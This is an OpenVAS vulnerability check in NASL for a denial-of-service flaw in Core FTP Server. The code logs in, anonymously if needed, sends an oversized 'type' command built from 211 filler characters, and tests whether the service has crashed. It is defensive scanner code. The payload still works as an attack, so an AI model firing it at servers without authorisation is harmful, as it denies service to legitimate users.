Core FTP Server 'Type' Command Remote Denial of Service Vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_core_ftp_server_type_cmd_dos_vuln.nasl 5977 2017-04-19 09:02:22Z teissa $
#
# Core FTP Server 'Type' Command Remote Denial of Service Vulnerability
#
# Authors:
# Sooraj KS <[email protected]>
#
# Copyright:
# Copyright (c) 2012 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if(description)
{
  script_id(802613);
  script_version("$Revision: 5977 $");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_tag(name:"last_modification", value:"$Date: 2017-04-19 11:02:22 +0200 (Wed, 19 Apr 2017) $");
  script_tag(name:"creation_date", value:"2012-03-05 10:57:53 +0530 (Mon, 05 Mar 2012)");
  script_name("Core FTP Server 'Type' Command Remote Denial of Service Vulnerability");

  script_tag(name: "summary" , value:"This host is running Core FTP Server and
  is prone to denial of service vulnerability.");

  script_tag(name: "vuldetect" , value:"Send a crafted request and check whether
  it is able to crash the application or not.");

  script_tag(name: "insight" , value:"The flaw is caused by an error when
  processing 'Type' command, which can be exploited to crash the FTP service
  by sending specially crafted FTP commands");

  script_tag(name: "impact" , value:"Successful exploitation will allow remote
  attackers to crash the affected application, denying service to legitimate users.

  Impact Level: Application");

  script_tag(name: "affected" , value:"Core FTP Server 1.2 Build 422 and Core FTP
  Server 1.2 Build 587 ");

  script_tag(name: "solution" , value:"No solution or patch was made available
  for at least one year since disclosure of this vulnerability. Likely none
  will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the
  product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_tag(name:"qod_type", value:"remote_vul");

  script_xref(name : "URL" , value : "http://www.coreftp.com/server/");
  script_xref(name : "URL" , value : "http://www.1337day.com/exploits/17556");
  script_xref(name : "URL" , value : "https://www.exploit-db.com/exploits/39797");

  script_category(ACT_DENIAL);
  script_copyright("This script is Copyright (C) 2012 Greenbone Networks GmbH");
  script_family("FTP");
  script_dependencies("secpod_ftp_anonymous.nasl");
  script_require_ports("Services/ftp", 21);
  exit(0);
}

include("ftp_func.inc");

## Variable Initialization
soc = 0;
soc1 = 0;
pass = "";
user = "";
banner = "";
exploit = "";
ftpPort = 0;
login_details = "";

## Get the default port of FTP
ftpPort = get_kb_item("Services/ftp");
if(! ftpPort){
  ftpPort = 21;
}

## check port status
if(! get_port_state(ftpPort)){
  exit(0);
}

## Confirm the Application
banner = get_ftp_banner(port:ftpPort);
if(! banner || "Core FTP Server" >!< banner){
  exit(0);
}

## Check for the user name and password
user = get_kb_item("ftp/login");
pass = get_kb_item("ftp/password");

## Try for anonymous user
if(! user){
  user = "anonymous";
  pass = "openvas@";
}

## Build Exploit
exploit = "type " + crap(211);

for (i = 0; i < 3; i++)
{
  ## Open FTP Socket
  soc = open_sock_tcp(ftpPort);
  if(! soc){
    exit(0);
  }

  ## Try to Login
  login_details = ftp_log_in(socket:soc, user:user, pass:pass);
  if(! login_details)
  {
    ftp_close(socket:soc);
    exit(0);
  }

  ## Send the Attack Request
  ftp_send_cmd(socket:soc, cmd:exploit);
  ftp_close(socket:soc);
  sleep(1);

  ## Open the socket to confirm FTP server is alive
  soc1 = open_sock_tcp(ftpPort);
  if(! soc1)
  {
    security_message(ftpPort);
    exit(0);
  }

  ## Some time server will be listening, but won't respond
  banner =  recv(socket:soc1, length:512);
  if(! banner || "Core FTP Server" >!< banner)
  {
    security_message(ftpPort);
    ftp_close(socket:soc1);
    exit(0);
  }
  ftp_close(socket:soc1);
}